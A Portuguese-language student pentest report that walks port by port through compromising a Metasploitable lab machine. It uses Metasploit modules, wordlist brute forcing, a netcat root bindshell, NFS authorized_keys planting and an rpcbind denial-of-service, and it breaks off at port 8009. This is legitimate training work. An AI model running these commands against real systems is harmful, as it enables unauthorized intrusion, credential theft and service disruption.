Baixe o app para aproveitar ainda mais
Prévia do material em texto
Universidade Nove de Julho Tecnologia em Segurança da Informação Técnicas de Testes de Intrusão Professor: Evandro Ecteruel Daniele Souza da Silva RA 922102918 Guilherme de Souza Pereira RA 3022100598 Matheus Felipe Pereira RA 922109986 Período: 01º2 – Noturno São Paulo 2022 SUMÁRIO 1. Introdução ..................................................................................................... 7 2. Embasamento Teórico ................................................................................. 8 2.1 Fases do Teste de Invasão ................................................................................................. 8 2.1.1 Levantar o Perfil do Alvo ............................................................................................... 8 2.1.2 Modelagem de ameaças ............................................................................................... 8 2.1.3 Realizar Varredura e Enumeração ............................................................................... 8 2.1.4 Tentar Invasão .............................................................................................................. 9 2.1.5 Pós Exploração de Falhas ............................................................................................ 9 3. Teste na Prática .......................................................................................... 10 3.1 Reconhecimento do Alvo ................................................................................................... 10 3.2 Buscando Vulnerabilidades - SCAN .................................................................................. 11 3.3 Metasploit Framework e Msfconsole ................................................................................. 12 4. Explorando Vulnerabilidades .................................................................... 13 4.1 Porta 21 ............................................................................................................................. 13 4.2 Porta 22 ............................................................................................................................. 15 4.3 Porta 23 ............................................................................................................................. 18 4.4 Porta 25 ............................................................................................................................. 20 4.5 Porta 53 ............................................................................................................................. 21 4.6 Porta 80 ............................................................................................................................. 22 4.7 Porta 111 ........................................................................................................................... 24 4.8 Portas 139 e 445 ............................................................................................................... 26 4.9 Portas 512.......................................................................................................................... 27 4.10 Porta 513 ......................................................................................................................... 28 4.11 Porta 514 ......................................................................................................................... 29 4.12 Porta 1099 ....................................................................................................................... 30 4.13 Porta 1524 ....................................................................................................................... 33 4.14 Porta 2049 ....................................................................................................................... 34 4.15 Porta 2121 ....................................................................................................................... 36 4.16 Porta 3306 ....................................................................................................................... 38 4.17 Porta 5432 ....................................................................................................................... 41 4.18 Porta 5900 ....................................................................................................................... 45 4.19 Porta 6000 ....................................................................................................................... 47 4.20 Porta 6667 ....................................................................................................................... 48 4.21 Porta 8009 ....................................................................................................................... 50 4.22 Porta 8180 ....................................................................................................................... 52 5. Tabela de Criticidade ................................................................................. 55 6. Resultados Encontrados ........................................................................... 56 7. Referências Bibliográficas ........................................................................ 57 LISTA DE FIGURAS Figura 1 - Fases de Exploração .................................................................................................... 8 Figura 2 - Sudo su ....................................................................................................................... 10 Figura 3 - Identificando IP local ................................................................................................... 10 Figura 4 - IPs localizados na rede ............................................................................................... 11 Figura 5 - Resultado do SCAN de Portas ................................................................................... 11 Figura 6 - Informações Porta 21 .................................................................................................. 13 Figura 7 - Search vsftpd .............................................................................................................. 13 Figura 8 - Options vsftpd ............................................................................................................. 14 Figura 9 - Resultado do Exploit vsftpd ........................................................................................ 14 Figura 10 - Comando Python Executado .................................................................................... 14 Figura 11 - Informações Porta 22................................................................................................ 15 Figura 12 - Lista de Logins Comuns ........................................................................................... 16 Figura 13 - Opções do ssh_login ................................................................................................ 17 Figura 14 - Login e Senha Obtidos ............................................................................................. 17 Figura 15 - Session 1 SSH .......................................................................................................... 17 Figura 16 - Informações Porta 23................................................................................................ 18 Figura 17 - Opções Telnet Scanner ............................................................................................ 18 Figura 18 - Executando Exploit Telnet ........................................................................................ 19 Figura19 - Sessões Criadas - Telnet.......................................................................................... 19 Figura 20 - Conectando na Sessão 2 ......................................................................................... 19 Figura 21 - Usuários Encontrados............................................................................................... 20 Figura 22 - Informações Porta 53................................................................................................ 21 Figura 23 - Search ISC Bind ....................................................................................................... 22 Figura 24 - Informações Porta 80................................................................................................ 22 Figura 25 - Apache Exploits ........................................................................................................ 23 Figura 26 - Opções Exploit Apache ............................................................................................ 23 Figura 27 - Resultado Exploit Apache ......................................................................................... 23 Figura 28 - Reconhecimento da Invasão .................................................................................... 24 Figura 29 - Informações porta 111 .............................................................................................. 24 Figura 30 - Search rpcbind .......................................................................................................... 25 Figura 31 - Opções do Exploit RPCBomb ................................................................................... 25 Figura 32 - Informações das Portas 139 e 445 ........................................................................... 26 Figura 33 - Resultado Exploit Samba ......................................................................................... 27 Figura 34 - Informações Porta 512.............................................................................................. 27 Figura 35 -Resultado Invasão Porta 512 .................................................................................... 28 Figura 36 - Resultado Exploit Java_RMI ..................................................................................... 32 Figura 37 - Visualização Arquivos do Alvo .................................................................................. 33 Figura 38 - Resultado Exploit Bindshell ...................................................................................... 34 Figura 39 - Informações Porta 2049 ........................................................................................... 34 Figura 40 - Nomeando chave SSH ............................................................................................. 35 Figura 41 - Conteúdo Authorized_keys ....................................................................................... 36 Figura 42 - Resultado Invasão Porta 2049 ................................................................................. 36 Figura 43 - Informações Porta 2121 ........................................................................................... 37 Figura 44 - Opções Exploit FTP .................................................................................................. 37 Figura 45 - Resultado Exploit FTP .............................................................................................. 37 Figura 46 - Ferramenta FTP Exploit ............................................................................................ 38 Figura 47 - Informações Porta 3306 ........................................................................................... 39 Figura 48 - Opções Exploit MySQL ............................................................................................. 39 Figura 49 - Resultado Exploit MySQL ......................................................................................... 40 Figura 50 - Exploit MySQL root ................................................................................................... 40 Figura 51 - Visualização Banco de Dados .................................................................................. 41 Figura 52 - Informações Porta 5432 ........................................................................................... 41 Figura 53 - Search postgres ........................................................................................................ 42 Figura 54 - Opções Exploit postgres ........................................................................................... 43 Figura 55 - Login Obtido .............................................................................................................. 44 Figura 56 - Conexão Via Postgre ................................................................................................ 44 Figura 57 - Senha VNC Obtida ................................................................................................... 45 Figura 58 - Interface remmina ..................................................................................................... 46 Figura 59 - Invasão via remmina ................................................................................................. 46 Figura 60 - SSH com MSFadmin ................................................................................................ 47 Figura 61 - Informações Porta 6667 ........................................................................................... 48 Figura 62 - Exploit UnrealIrcd ...................................................................................................... 49 Figura 63 - Resultado Exploit Unreal IRCD ................................................................................ 49 Figura 64 - Reconhecimento do Alvo .......................................................................................... 49 Figura 65 - Informações da Porta 8009 ...................................................................................... 50 Figura 66 - Exploit Encontrado Porta 8009 ................................................................................. 50 Figura 67 - Resultado Exploit Apache Jserv ............................................................................... 51 Figura 68 - Informações Porta 8180 ........................................................................................... 52 Figura 69 - Opções Tomcat_mgr_login ....................................................................................... 52 Figura 70 - Login Obtido .............................................................................................................. 53 Figura 71 - Configurações Tomcat_Mgr_deploy ......................................................................... 53 Figura 72 - Resultado Exploit mgr_deploy .................................................................................. 54 Figura 73 - Reconhecimento Invasão @Tomcat......................................................................... 54 Figura 74 - Matriz Criticidade ...................................................................................................... 55 Figura 75 - Tabela Criticidade das Portas ................................................................................... 55 LISTA DE SIGLAS E ABREVIATURAS AJP - Apache Jserv Protocol DNS – Domain Name System FTP – File Transfer Protocol HTTP – Hypertext Transfer Protocol HTML – HyperText Markup Language IP - Internet Protocol IRC - Internet Relay Chat JSP – JavaServer Pages RPC – Remote Procedure Call SMTP – Simple Mail Transfer Protocol SQL – Stuctured Query Language SSH – Secure Shell TCP - Transfer Control Protocol VNC - Virtual Network Computing X11 - X Window Syst 7 1. IntroduçãoEste trabalho tem por objetivo realizar um teste de intrusão em um ambiente virtual com sistema operacional Ubuntu denominado ‘metasploitable’, através de outro ambiente virtual com o sistema operacional Kali Linux. O escopo do trabalho aborda a parte teórica de uma invasão cibernética, passando por todas as etapas desde a coleta de informações até a exploração do ambiente. Após a descrição das etapas, será feita uma invasão ao ambiente virtual na prática, detalhando e evidenciando cada passo deste processo. O objetivo é executar com sucesso a invasão ao ambiente virtual conforme descrito nas etapas teóricas. Ao final, esperamos que os resultados forneçam insumos suficientes para determinarmos os níveis de criticidade dentro do sistema. 8 2. Embasamento Teórico 2.1 Fases do Teste de Invasão Para darmos início a invasão, é necessário conhecer as etapas que o procede. Na figura abaixo ilustramos os passos de um ataque cibernético. Figura 1 - Fases de Exploração Fonte: http://rmct.ime.eb.br/arquivos/RMCT_3_tri_2016_web/RMCT_275.pdf 2.1.1 Levantar o Perfil do Alvo Nesta etapa o objetivo é coletar informações de forma livre através de fontes como por exemplo: google, whois, e-mails, sites institucionais, entre outros. 2.1.2 Modelagem de ameaças Nesta fase, de acordo com a coletada de informações obtida, a pessoa que irá realizar a invasão deve começar a elaborar estratégias para posteriormente invadir os sistemas. 2.1.3 Realizar Varredura e Enumeração Esta é a etapa onde se descobre as vulnerabilidades através de ferramentas de scanning com uma base de dados. Com essas informações obtidas do scanning, o invasor terá um auxílio ao traçar os planos de invasão. 9 2.1.4 Tentar Invasão Dentro desta etapa é executado “exploits” de forma a explorar as vulnerabilidades encontradas, a fim de ganhar acesso ao sistema. 2.1.5 Pós Exploração de Falhas A última etapa da invasão consiste após o invasor ter acesso ao sistema, ele irá tentar obter informações importantes como por exemplo hash de senhas, elevação de privilégios e demais arquivos que sejam importantes. Podendo ainda realizar ataques de negação de serviço e/ou corromper sistemas após o objetivo de captura de senhas alcançado. 10 3. Teste na Prática 3.1 Reconhecimento do Alvo Primeiramente, dentro do ambiente virtual Kali Linux, abrimos o terminal e digitamos os seguintes comandos para alterar o usuário para root, conforme figura abaixo. - sudo su Figura 2 - Sudo su Fonte: Autor Após isso, para identificarmos o nosso IP local, basta usarmos o comando, conforme mostrado abaixo: - ip a Figura 3 - Identificando IP local Fonte: Autor Na sequência, executamos o comando para localizar o IP alvo, conforme a figura abaixo: - fping -a -g 192.168.0.6/24 2>/dev/nul 11 Figura 4 - IPs localizados na rede Fonte: Autor Tendo o conhecimento de que os três primeiros IPs correspondem as máquinas física e virtual kali, o IP restante é o 192.168.0.178 que será o IP alvo. 3.2 Buscando Vulnerabilidades - SCAN Esta etapa consiste em uma análise onde buscamos as vulnerabilidades no sistema. Utilizamos o IP do alvo junto ao comando conforme abaixo: - nmap -v -n -O -sV -Pn -sS 192.168.0.183 Figura 5 - Resultado do SCAN de Portas Fonte: Autor No total foram encontradas 23 portas abertas com possíveis vulnerabilidades que serão exploradas nos próximos tópicos. 12 3.3 Metasploit Framework e Msfconsole Uma breve definição do Metaplosit pode ser descrita da seguinte forma: O Metasploit é um framework de exploração de código aberto concebido para proporcionar ao usuário um modelo de desenvolvimento de exploits, possibilitando que longos trechos de código sejam reutilizados. Essa funcionalidade diminui o tempo gasto na implementação do código, o qual pode ser reaproveitado em experiências futuras. (Flora, 2010) O Metasploit Framework apresenta três interfaces de uso: MSFCli, MSFWeb, e interface console, conhecida como MSFConsole, a qual devido ao fácil uso, praticidade e flexibilidade foi utilizada durante o projeto. O MSFConsole é um dos meios mais eficientes e eficazes para que durante um teste de vulnerabilidade, se tenha um melhor aproveitamento do quadro de explorações. As etapas realizadas durante um ataque utilizando o MSFConsole são: seleção do exploit, seleção do alvo, seleção do payload, configuração das opções e por último a exploração. (Flora, 2010) 13 4. Explorando Vulnerabilidades Neste tópico iremos colocar em prática comandos do Kali Linux, exploits e payloads através o metasploit framework. Vamos ilustrar de que forma acontece a resposta aos comandos e as invasões aos sistemas. 4.1 Porta 21 FTP é um protocolo de internet que permite que computadores dentro de uma rede promovam trocas de arquivos em massa. Para funcionar corretamente, o FTP deve usar duas portas – porta 21 para comando e controle, e a porta 20 para transporte de dados. A figura abaixo ilustra o serviço e a versão rodando na porta 21. Figura 6 - Informações Porta 21 Fonte: Autor Para realizar o ataque á porta 21, utilizamos os seguintes comandos: - search vsftpd Figura 7 - Search vsftpd Fonte: Autor Na sequência, utilizamos os comandos a seguir, conforme ilustrado abaixo: - use 0 - options https://www.hostinger.com.br/tutoriais/ftp-o-que-e-como-funciona 14 Figura 8 - Options vsftpd Fonte: Autor Por último, utilizamos os seguintes comandos, conforme ilustrado abaixo: - set RHOST 192.168.32.130 - show missing - show advanced - set VERBOSE true - exploit Figura 9 - Resultado do Exploit vsftpd Fonte: Autor Com o exploit ele localiza o id root e a shell. Na sequência abre uma sessão. Após isso, rodamos o comando: - python -c 'import pty;pty.spawn("/bin/bash")', conforme ilustrado abaixo: Figura 10 - Comando Python Executado 15 Fonte: Autor Conseguimos realizar a invasão como usuário root. Este módulo explora um backdoor malicioso que foi adicionado ao Arquivo de download do VSFTPD. Este backdoor foi introduzido no arquivo vsftpd-2.3.4.tar.gz entre 30 de junho de 2011 e 1º de julho de 2011 de acordo com as informações mais recentes disponíveis. 4.2 Porta 22 A Porta 22 refere-se ao serviço SSH. Este serviço é uma técnica para logins remotos de uma máquina para outra. A imagem abaixo mostra as informações da porta 22. Figura 11 - Informações Porta 22 Fonte: Autor Neste cenário foi preciso a criação de duas wordlists para um ataque de bruteforce. Realizamos uma pesquisa breve sobre alguns usuários e senhas mais utilizados em logins e a partir desta pesquisa criamos duas listas com os nomes senha.txt e login.txt., conforme a figura abaixo: 16 Figura 12 - Lista de Logins Comuns Fonte: Autor Para realizar o ataque, utilizamos o módulo auxiliary/scanner/ssh/ssh_login que irá verificar as listas criadas conforme cada login e senha nos arquivos txt. Após selecionar o módulo, configuraremos as opções disponíveis, de acordo com o código abaixo: - search ssh_login - use auxiliary/scanner/ssh/ssh_login - set Rhosts 192.168.10.132 - set pass_file /home/kali/senha.txt - set user_file /home/kali/login.txt - show options 17 Figura 13 - Opções do ssh_login Fonte: Autor Por fim, após configurado, utilizamos o comando “run”, conforme figura abaixo: Figura 14 - Login e Senha Obtidos Fonte: Autor Neste ataque foi possível localizar o usuário msfadmin com o login msfadmin e uma sessão que podemos utilizar foi criada. Nestaparte podemos fazer um reconhecimento da máquina invadida, porém, o usuário invadido não possui autoridade total, conforme figura abaixo: - msf6 auxiliary(scanner/ssh/ssh_login) > sessions 1 Figura 15 - Session 1 SSH Fonte: Autor 18 4.3 Porta 23 A vulnerabilidade telnet é um protocolo de rede local ou na internet que facilita uma comunicação baseada em texto interativo bidirecional. A imagem abaixo ilustra as informações da porta 23. Figura 16 - Informações Porta 23 Fonte: Autor Neste cenário usaremos as wordlists criadas anteriormente na invasão da porta 22 para um ataque de bruteforce. Utilizaremos o módulo use auxiliary/telnet/telnet_login disponibilizado no metasploit que verificará login e senha baseado nas wordlists. Após a seleção do módulo, faremos as seguintes configurações: - search telnet_login - use auxiliary/telnet/telnet_login - auxiliary(scanner/telnet/telnet_login) > show options - auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.10.132 - auxiliary(scanner/telnet/telnet_login) > set user_file /home/kali/login.txt - auxiliary(scanner/telnet/telnet_login) > set pass_file /home/kali/senha.txt - auxiliary(scanner/telnet/telnet_login) > show options Figura 17 - Opções Telnet Scanner Fonte: Autor 19 Por último, utilizamos o comando “run”, conforme figura abaixo: Figura 18 - Executando Exploit Telnet Fonte: Autor O módulo conseguiu entrar com dois usuários da wordlist o msfadmin com a senha msfadmin e o user com a senha user, como mostra a figura acima, duas sessões foram criadas. Entrando em qualquer sessão, podemos fazer o reconhecimento situacional e conseguimos usar algumas funções, porém, nenhum usuário tem autoridade plena na máquina, conforme a figura abaixo: - show sessions Figura 19 - Sessões Criadas - Telnet Fonte: Autor - Sessions 2 Figura 20 - Conectando na Sessão 2 20 Fonte: Autor 4.4 Porta 25 A porta 25 refere-se ao serviço SMPT (Simple Mail Transfer Protocol) que é um protocolo de envio de e-mails. Neste cenário não podemos invadir a máquina, porém, conseguimos descobrir usuários validos. Para fazermos a verificação utilizamos a ferramenta smtp-user-enum tool. - Smtp-user-enum -M VRFY -U /usr/share/metasploitframework/data/wordlists/unix_users.txt -t 192.168.10.132 − Smtp-user-enum: Nome da ferramenta − -M VRFY: Método a ser usado para adivinhar expn − -U : uma wordlist com nomes de usuário para verificar serviços smtp − -t : Servidor host a ser verificado Na figura abaixo, aplicaremos este comando para obtermos as seguintes informações de usuários: Figura 21 - Usuários Encontrados 21 Fonte: Autor 4.5 Porta 53 A porta 53 refere-se ao serviço BIND (Berkeley Internet Name Domain). Este serviço é um servidor para protocolo DNS muito utilizado principalmente por sistema UNIX. A figura abaixo mostra a porta 53 e seu respectivo serviço: Figura 22 - Informações Porta 53 Fonte: Autor Neste cenário não foi possível realizar uma exploração. Não foram encontrados exploits relacionados ao serviço “ISC BIND” conforme a figura abaixo: - Search isc bind 22 Figura 23 - Search ISC Bind Fonte: Autor 4.6 Porta 80 A porta 80 possui o serviço Apache httpd 2.2.8. Este serviço é um hypertext tranfsfer protocolo para World Wide Web que permite a transferência de documentos HTML. Figura 24 - Informações Porta 80 Fonte: Autor Para a invasão, foi feito uma busca por exploit prontos para essa vulnerabilidade, obtendo dois resultados remote code execution como mostrado abaixo. - searchsploit apache 2.2.8 | grep php 23 Figura 25 - Apache Exploits Fonte: Autor Na sequência iniciamos a busca do exploit através do “msfconsole” e seguimos os comandos a seguir: - grep cgi search 5.4.2 - msf6 auxiliary(scanner/http/http_version) - use exploit/multi/http/php_cgi_arg_injection - show options Na figura abaixo ilustramos as opções de configuração disponíveis para este exploit. E na sequência o comando “run” para a invasão. Figura 26 - Opções Exploit Apache Fonte: Autor - msf6 exploit(multi/http/php_cgi_arg_injection) > run Figura 27 - Resultado Exploit Apache Fonte: Autor Nesta etapa, foi feito o reconhecimento da máquina. Também foi realizado teste de download e upload de arquivos na máquina, sendo possível fazer 24 download de alguns itens restritos e não podendo fazer upload. A figura abaixo ilustra o reconhecimento da máquina. Figura 28 - Reconhecimento da Invasão Fonte: Autor 4.7 Porta 111 A porta 111 refere-se ao serviço RPCbind ou Portmapper e é utilizado para mapear serviços RPC na rede, como NIS e NFS. Esse serviço normalmente é utilizado por sistemas Unix, principalmente para compartilhamento de arquivos, além de outros serviços. A imagem a seguir ilustra a porta 111 e seu respectivo serviço: Figura 29 - Informações porta 111 Fonte: Autor Na sequência, abrimos o “msfconsole” e após isso utilizamos o comando “search rpcbind”, conforme a figura abaixo: - search rpcbind 25 Figura 30 - Search rpcbind Fonte: Autor Encontramos um exploit disponível e utilizamos ele através do comando “use 0”. Na sequência utilizamos o comando “show options” e configuramos conforme a figura abaixo: - show options - set rhosts 192.168.0.183 - run Figura 31 - Opções do Exploit RPCBomb 26 Fonte: Autor Este exploit não permite um acesso à máquina alvo, porém ele permite um ataque de negação de serviço (DoS). Desta forma o usuário não conseguirá acessar páginas ou links na web e sofrerá com lentidão no sistema. Este módulo explora uma vulnerabilidade em certas versões do rpcbind, LIBTIRPC e NTIRPC, permitindo que um invasor acione alocações de memória grandes (e nunca liberadas) para strings XDR no alvo. 4.8 Portas 139 e 445 Ambas as portas 139 e 445 referem-se a um mesmo serviço chamado “Samba smbd”. Com isso, dentro do “msfconsole”, utilizaremos o comando a seguir para encontrar a versão desse serviço, conforme figura abaixo: - nmap -T4 -A -p 139,445 192.168.0.178 Figura 32 - Informações das Portas 139 e 445 Fonte: Autor Após encontrarmos a versão do serviço, utilizamos os seguintes comandos: - search Samba 3.0.20 - use exploit/multi/samba/usermap_script - set rhosts 192.168.0.178 - exploit 27 E por fim teremos acesso total, através do usuário root, conforme figura abaixo: Figura 33 - Resultado Exploit Samba Fonte: Autor 4.9 Portas 512 A porta 512 refere-se ao serviço de execução remota chamado de Rexec, muito semelhante ao SSH. Este serviço permite que os usuários executem comandos não interativos em outro sistema remoto. Este sistema remoto deve estar executando servidor (rexecd) como no nosso caso. Por padrão, este serviço requer um usuário e senha válidos para o sistema de destino. Conforme já obtido um usuário e senha anteriormente (msfadmin, msfadmin), usaremos a seguir. A imagem abaixo ilustra as informações da porta 512. Figura 34 - Informações Porta 512 Fonte: Autor Para esta invasão, precisamos ter instalado a ferramenta “SSH” já citada anteriormente, conforme comando abaixo: 28 - sudo apt install rsh-client Por fim, conseguimos invadir a máquina alvo utilizando o seguinte comando abaixo, conforme ilustrado a seguir. - ssh -l root 192.168.0.183 Figura 35 -Resultado Invasão Porta 512 Fonte: Autor 4.10 Porta 513 Esta porta refere-se ao serviço rlogin. Este é um serviço de acesso remoto que permite um usuário autorizado fazer login em máquinas UNIX, além de permitir que o usuário registrado opere a máquina remotamente como se estivesse logado na máquina física. Este serviço assemelha-sea outros serviços remotos como telnet e SSH. A figura abaixo ilustra as informações da porta 513. Figura 36 - Informação Portas 512, 513 e 514 Fonte: Autor Para esta invasão, utilizamos o seguinte comando, conforme ilustrado abaixo. - rlogin -l root -p 513 192.168.0.183 29 Figura 37 - Resultado Invasão Porta 513 rlogin Fonte: Autor 4.11 Porta 514 A porta 514 refere-se ao Remote shell. Este é um serviço de acesso remoto que permite aos usuários um shell no sistema de destino. A autenticação não é necessária para este serviço. A imagem abaixo ilustra as informações da porta 514. Fonte: Autor Para esta invasão, utilizamos a ferramenta de RSH, conforme o comando abaixo para instalação. - sudo apt install rsh-server 30 Figura 39 - Resultado Invasão RSHExec Fonte: Autor 4.12 Porta 1099 A porta 1099 refere-se ao serviço java-rmi. Isso significa que é um rmi- Remote Method Invocation e fornece comunicação remota entre os aplicativos do servidor usando dois objetos. Utilizamos um comando nmap para obter mais informações sobre a porta, conforme comando e ilustração abaixos: - nmap -T4 -A -p 1099 192.168.0.178 31 Figura 40 - Informações Porta 1099 Fonte: Autor Na sequência abrimos o “mfsconsole” e na sequência utilizamos o seguinte comando, conforme figura abaixo: - search java_rmi_server Figura 41 - Exploits Java_RMI Fonte: Autor Na sequência utilizamos o exploit a seguir: - exploit/multi/misc/java_rmi_server Utilizamos o comando “show options” para abrir as opções de configuração e na sequência configuramos o IP alvo conforme o comando a seguir: - set rhosts 192.168.0.178 32 Figura 42 - Opções Exploit Java_RMI Fonte: Autor Para finalizar, utilizamos o comando “run” ou “Exploit” para conseguirmos o acesso remoto, conforme a figura abaixo: Figura 36 - Resultado Exploit Java_RMI Fonte: Autor Porém, desta forma ainda não conseguimos acesso total. Portanto utilizamos o comando “shell” para total invasão da máquina, conforma figura abaixo: - shell - id 33 - whoami Figura 37 - Visualização Arquivos do Alvo Fonte: Autor 4.13 Porta 1524 A porta 1524 refere-se a um bindshell, ou seja, é um canal de ligação entre dois IPs, que pode ser feita através de uma ferramenta, por exemplo o net-cat. Abrimos um terminal dentro do Kali e utilizamos os seguintes comandos para invasão: - sudo apt install netcat-traditional - nc 192.168.0.178 1524 34 Figura 38 - Resultado Exploit Bindshell Fonte: Autor O acesso remoto foi feito rapidamente e iniciado como usuário root, tendo acesso a todas as pastas e diretórios. 4.14 Porta 2049 A porta 2049 refere-se ao serviço NFS. Este serviço possui uma versão RPC (Remote Procedure Call), ou seja, um serviço que permite uma conexão remota. Abaixo temos ilustrado as informações desta porta. Figura 39 - Informações Porta 2049 Fonte: Autor 35 Para esta invasão, utilizamos a seguinte série de comandos: - showmount -e 192.168.0.183 - mkdir -p /root/.ssh (Cria um ou mais novos diretórios) - cd /root/.ssh (Seleciona o diretório) - ssh-keygen -t rsa -b 4096 O “ssh-keygen” é uma ferramenta para criar novos pares de chaves de autenticação para SSH. Nesta etapa nomeamos o nome do par de chave, no caso será: “kalitest3”. A figura abaixo ilustra essa etapa: Figura 40 - Nomeando chave SSH Fonte: Autor Prosseguindo com a invasão, utilizamos a seguinte série de comandos: - mount -o nolock -t nfs 192.168.0.183:/ /mnt (Montar um sistema de arquivos) - cd /mnt/root/.ssh (Mudar de diretório) - cp /root/.ssh/kalitest3.pub /mnt/root/.ssh (Copiar arquivos e diretórios) - cat kalitest3.pub >> authorized_keys (Combinar arquivos anexando o conteúdo de um arquivo ao final de outro arquivo e criar novos) - cat authorized_keys (Exibir conteúdo do arquivo) 36 Figura 41 - Conteúdo Authorized_keys Fonte: Autor - ssh -i /root/.ssh/kalitest3 root@192.168.0.183 Figura 42 - Resultado Invasão Porta 2049 Fonte: Autor 4.15 Porta 2121 A porta 2121 refere-se ao serviço ProFTPd. Este serviço é um Software opensource sendo um dos servidores FTP mais populares. A figura abaixo ilustra o serviço da porta 2121. 37 Figura 43 - Informações Porta 2121 Fonte: Autor Neste cenário fizemos um ataque de brute force com as wordlist já criada e citadas anteriormente na porta 22. Para essa invasão utilizaremos o módulo auxiliary/scanner/ftp/ftp_login que verificará todos os logins e senhas da wordlists. Após a seleção do módulo é preciso configurar ela. - search ftp_login - use auxiliary/scanner/ftp/ftp_login - show options - set rhosts 192.168.10.132 - set rport 2121 - set user_file /home/kali/login.txt - set pass_file /home/kali/senha.txt - show options Figura 44 - Opções Exploit FTP Fonte: Autor - msf6 auxiliary(scanner/ftp/ftp_login) > run Figura 45 - Resultado Exploit FTP Fonte: Autor 38 O módulo identificou o login e senha como msfadmin, mas nenhuma sessão foi criada, para invadimos a máquina é necessário usar a ferramenta FTP como mostrado na figura abaixo. Após a invasão foi feito o reconhecimento e teste, porém, como adentramos a máquina com um usuário sem autoridade total, as funções que podemos fazer são limitadas. - ftp 192.168.10.132 2121 Figura 46 - Ferramenta FTP Exploit Fonte: Autor 4.16 Porta 3306 O MYSQL é um gerenciador de banco de dados da Oracle, que utiliza a linguagem SQL. A figura abaixo ilustra a porta 3306 rodando o serviço mysql com a sua respectiva versão. 39 Figura 47 - Informações Porta 3306 Fonte: Autor Nesta primeira etapa, o módulo tentará uma conexão com o MySQL do host 192.168.10.132, em sua primeira tentativa utilizará o login “root” com a senha em branco com a senha em branco, posteriormente ele utilizar duas wordlist para a senha e login com cada uma das palavras dos arquivos unix_passwords.txt e unix_users.txt. Abaixo segue os códigos utilizados: − search mysql − use auxiliary/scanner/mysql/mysql_login − show options − set rhosts 192.168.10.132 − set rport 3306 − set USERNAME root − set userpass_file /usr/share/metasploit- framework/data/wordlists/unix_users.txt − set pass_file /usr/share/metasploit- framework/data/wordlists/unix_passwords.txt − show options Figura 48 - Opções Exploit MySQL Fonte: Autor 40 − msf6 auxiliary(scanner/mysql/mysql_login) > run Figura 49 - Resultado Exploit MySQL Fonte: Autor O módulo conseguiu fazer duas conexões sem senhas com os logins “root” e “guest”. − msf6 auxiliary(scanner/mysql/mysql_login) > mysql -h 192.168.10.132 -u root -p Figura 50 - Exploit MySQL root Fonte: Autor A partir desta vulnerabilidade é possível criar, deletar e modificar as bases de dados do MYSQL, conforme ilustra na figura abaixo. 41 Figura 51 - Visualização Banco de Dados Fonte: Autor 4.17 Porta 5432 A porta 5432 está rodando um serviço em linguagem de banco de dados “Postgresql”. A figura abaixo ilustra o serviço e sua respectiva versão. Figura 52 - Informações Porta 5432 Fonte: Autor Para realizar a invasão, primeiramente utilizamos o comando “msfconsole” e na sequência utilizamos o comando “Search”, conforme figura abaixo: - Search postgres 42 Figura 53 - Search postgres Fonte: Autor Conforme ilustrado acima, achamos alguns exploits relacionados a esta linguagem de programação (Postgresql). Utilizamos o exploit de número 9, conforme a figura abaixo: - auxiliary/scanner/postgres/postgres_login - Show options 43 Figura 54 - Opções Exploit postgres Fonte: AutorPara configurar esse exploit, utilizamos os seguintes comandos: - set USERNAME postgres - set USER_AS_PASS true - set rhosts 192.168.0.183 - run Com isso, conseguimos obtemos um login através desse exploit, conforme a figura abaixo: 44 Figura 55 - Login Obtido Fonte: Autor Com esta informação de login, conseguimos uma invasão na máquina alvo através do serviço “postgre” (porta 5432), conforme a figura abaixo: - psql -h 192.168.0.183 -U postgres Figura 56 - Conexão Via Postgre Fonte: Autor A senha utilizada foi a padrão de mesma identidade que o login: “postgres”. O comando “psql” utilizado acima permite ao usuário executar consultas SQL e visualizar os seus resultados, conforme ilustrado 45 4.18 Porta 5900 A porta 5900 refere-se a um serviço VNC (Virtual Network Computing). É um sistema de compartilhamento gráfico de desktop. Para invadirmos essa porta, primeiramente abrimos o “msfconsole”. Na sequência utilizamos os comandos a seguir: - search VNC protocol 3.3 - use auxiliary/scanner/vnc/vnc_login - set rhosts 192.168.0.178 - exploit Após isso, obtemos uma senha que se refere a uma VNC, conforme figura abaixo: Figura 57 - Senha VNC Obtida Fonte: Autor Na sequência, precisamos instalar uma ferramenta suporte, que permitirá o acesso, através do seguinte comando: - sudo apt-get install remmina Com essa ferramenta instalada, executamos ela dentro do Kali Linux, fora do terminal, a seguir inserimos a senha obtida, conforme a figura abaixo: 46 Figura 58 - Interface remmina Fonte: Autor E por último conseguimos acesso “root” à máquina do usuário, com total acesso, conforme figura abaixo: Figura 59 - Invasão via remmina Fonte: Autor 47 4.19 Porta 6000 A porta 6000 refere-se ao serviço “X11”. Este serviço é uma interface gráfica com o conceito de janelas. A imagem abaixo ilustra as informações desta porta. Figura 60 - Informações Porta 6000 Fonte: Autor Para esta invasão, foram encontrados 6 exploits disponíveis porém nenhum deles foi efetivo. Na sequência utilizamos os comandos a seguir para a tentativa de invasão: - Search x11 - use auxiliary/scanner/x11/open_x11 - set rhosts 192.168.0.183 -run Figura 61 - SSH com MSFadmin Fonte: Autor 48 4.20 Porta 6667 A porta 6667 refere-se ao serviço UnrealIRCD. Este serviço é um software open soucer sendo um daemon IRC baseado no DreamForge. A imagem abaixo ilustra as informações da porta 6667. Figura 62 - Informações Porta 6667 Fonte: Autor Para invasão desta porta, utilizamos o exploit exploit/unix/irc/unreal_ircd_3281_backdoor disponibilizado no Metasploit e o payload cmd/unix/bind_ruby que dará acesso diretamente ao usuário root da máquina. Após a seleção do exploit e do payload, fizemos as seguintes configurações: - search UnrealIRCd - use exploit/unix/irc/unreal_ircd_3281_backdoor - show options - set RHOSTS 192.168.10.132 - show payloads - set payload cmd/unix/bind_ruby - show options A imagem abaixo ilustra o payload ja configurado e pronto para o ataque. Por último utilizamos o comando “run” para a invasão. 49 Figura 63 - Exploit UnrealIrcd Fonte: Autor - msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run Figura 64 - Resultado Exploit Unreal IRCD Fonte: Autor Nesta invasão após o reconhecimento, tivemos acesso total a máquina devido ao usuário root que possui autoridade máxima. Figura 65 - Reconhecimento do Alvo Fonte: Autor 50 4.21 Porta 8009 A porta 8009 refere-se ao serviço AJP13 (Apache Jserv Protocol v1.3), este é um protocolo TCP orientado a pacotes que possui o formato binário. Ele é destinado a melhorar o desempenho sobre o protocolo HTTP que executa as portas TCP 8080,8180, 8443 e 80. A imagem abaixo ilustra o serviço e a versão desta porta. Figura 66 - Informações da Porta 8009 Fonte: Autor Seu funcionamento se deve ao iniciar o servidor Apache Tomcat, sendo um serviço que normalmente se 